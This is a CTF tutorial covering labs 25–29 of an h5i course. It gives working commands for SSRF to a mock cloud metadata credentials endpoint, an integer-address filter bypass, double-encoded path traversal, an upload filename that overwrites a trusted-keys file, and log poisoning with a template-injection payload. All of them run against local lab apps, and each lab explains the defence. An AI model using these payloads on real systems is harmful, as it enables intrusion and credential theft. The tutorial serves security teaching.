SSRF and File Attacks
A beginner-friendly CTF tutorial: make a server reach internal services, bypass URL filters, preserve encoded paths, overwrite security data, and turn a log file into code.
In The Browser as a Weapon, we used a victim’s browser to send authenticated requests. Labs 25–29 of h5i-tutorial ask a related question:
What can the application server reach, read, or write that we cannot?
We will use h5i to test server-side request forgery, path traversal, upload destinations, and local file inclusion. The targets run locally and are deliberately vulnerable.
Lab 25: SSRF to an internal metadata service
Server-side request forgery, or SSRF, occurs when an application fetches a URL supplied by a user. The request originates from the server, so it may reach internal services unavailable to an external visitor.
Start the link-preview lab:
$ ./run.sh 25
$ h5i browser open \
'http://127.0.0.1:9250/api/preview?url=http://127.0.0.1:9251/' \
--session lab25 --new --capture --allow 127.0.0.1
Port 9251 represents a cloud instance-metadata service. Walk its path:
$ h5i websec replay req_0 --session lab25 \
--set query.url=http://127.0.0.1:9251/latest/meta-data/iam/security-credentials/
$ h5i websec replay req_0 --session lab25 \
--set query.url=http://127.0.0.1:9251/latest/meta-data/iam/security-credentials/linkpreview-role
The second response contains FLAG{ssrf_metadata}.
The vulnerable application treats a user URL as a safe fetch destination. A defense must parse and resolve the hostname, reject private, loopback, link-local, and otherwise prohibited addresses, and connect to the exact checked IP. Redirects must be checked again.
Lab 26: one address, several spellings
The next lab blocks strings including localhost and 127.0.0.1:
$ ./run.sh 26
$ h5i browser open 'http://127.0.0.1:9260/' \
--session lab26 --new --capture
The resolver accepts other textual forms of the same loopback address. For example, 2130706433 is the integer representation of 127.0.0.1.
$ h5i websec replay req_0 --session lab26 --create \
--set path=/api/test \
--set query.url=http://2130706433:9261/ops/credentials
The internal service returns FLAG{ssrf_filter_bypass}.
Other parsers may accept shortened, octal, hexadecimal, or IPv6 forms. Maintaining a blocklist of spellings is therefore insufficient.
The safe sequence is:
- parse the URL;
- resolve its hostname;
- check every resolved address against the network policy;
- connect to the checked address without resolving it again; and
- repeat the process after every redirect.
This also prevents DNS rebinding, where a hostname resolves to an allowed address during validation and an internal address during connection.
Lab 27: encoded path traversal
Start the document viewer:
$ ./run.sh 27
$ h5i browser open \
'http://127.0.0.1:9270/download?file=welcome.md' \
--session lab27 --new --capture
The application strips ../, but decoding happens in multiple layers. Double-encode the traversal:
$ UP='%252e%252e%252f'
A normal URL library may parse and reserialize the value before sending it. First record that behavior:
$ h5i websec replay req_0 --session lab27 \
--set "query.file=${UP}secret%252fflag.txt"
Now place the exact bytes on the HTTP request line:
$ h5i websec replay req_0 --session lab27 \
--raw-target "/download?file=${UP}secret%252fflag.txt"
The response contains FLAG{path_traversal_encoded}.
--raw-target matters when the representation itself is the payload. It bypasses normal URL parsing for the request target while keeping the request in h5i’s policy and audit trail.
The server should decode once into a canonical form, resolve the path, and verify that the final path remains inside the permitted directory. Repeated string replacement is not path containment.
Lab 28: upload outside the upload directory
The avatar service checks that uploaded bytes start with the JPEG magic number, but trusts the supplied filename.
$ ./run.sh 28
$ h5i browser open 'http://127.0.0.1:9280/' \
--session lab28 --new --capture
$ WORK=$(mktemp -d)
$ KEY="k-pwn-$$"
Create a file that begins like a JPEG and then contains a key the application will parse:
$ python3 - "$WORK/poly.jpg" "$KEY" <<'PY'
import sys
data = b"\xff\xd8\xff\xe0" + f"\n{sys.argv[2]}\n".encode()
open(sys.argv[1], "wb").write(data)
PY
Upload it with a filename that escapes into the configuration directory:
$ h5i websec replay req_0 --session lab28 --create \
--set method=POST --set path=/api/avatar \
--set-file "multipart.file=$WORK/poly.jpg" \
--set multipart.file.filename=../config/trusted_keys.txt \
--set multipart.file.content_type=image/jpeg
The application re-reads that file when checking admin keys. Supply ours:
$ h5i websec replay req_0 --session lab28 --create \
--set path=/api/admin/flag \
--set "header.X-Api-Key=$KEY"
The result contains FLAG{upload_path_write}.
Validating file contents answered “Is this a JPEG?” It never answered “Where may this file be written?” Generate storage names server-side, resolve the destination, enforce containment, and keep uploads away from code and configuration.
Lab 29: LFI, log poisoning, and template execution
Start the wiki:
$ ./run.sh 29
$ h5i browser open \
'http://127.0.0.1:9290/view?page=home.md' \
--session lab29 --new --capture
Request a missing page. Its error reveals that access.log sits next to the page directory:
$ h5i websec replay req_0 --session lab29 \
--set query.page=nope
Every request writes its User-Agent into that log. Put a template expression there:
$ h5i websec replay req_0 --session lab29 \
--set 'header.User-Agent={{page.__init__.__globals__["RELEASE_KEY"]}}'
Finally, traverse from pages/ to the log:
$ h5i websec replay req_0 --session lab29 \
--set query.page=../access.log
The wiki includes the log and renders it as a template. The expression executes and returns FLAG{lfi_log_poisoning}.
No single input gave us a template upload. The chain combined:
- local file inclusion, which reads a path outside the page directory;
- log poisoning, which places controlled text into an existing file; and
- server-side template injection, because included files are rendered.
The fix must close each boundary: enforce path containment, encode or structure log fields, and never render arbitrary included files as templates.
A reusable server-and-file testing method
For every server-side fetch, ask which networks and protocols the server can reach. For every file operation, separate three questions:
- Are the bytes allowed?
- Is the destination allowed?
- How will the file be interpreted later?
Also confirm what actually reached the wire. Encoded traversal and protocol-level payloads frequently fail because the client normalized them before the server saw them.
Summary
SSRF turned the server into an internal client. Alternative address notation bypassed a string filter. A raw encoded target survived normalization, an upload filename overwrote trusted configuration, and an access log became an executable template.
$ for s in lab25 lab26 lab27 lab28 lab29; do
h5i browser close --session "$s"
done
$ rm -rf "$WORK"
$ ./run.sh stop
In HTTP Protocol Attacks, we will move below ordinary HTTP requests: desynchronization, injected headers, cache keys, and WebSocket frames.
References
- h5i
- Lab 25: SSRF to metadata
- Lab 26: SSRF filter bypass
- Lab 27: Encoded path traversal
- Lab 28: Upload path write
- Lab 29: LFI and log poisoning
HTTP Protocol Attacks
Control raw request framing, inject headers, poison a shared cache, and test commands carried over WebSockets.
Run the labs yourself
42 deliberately vulnerable applications, one binary, no Docker and no accounts.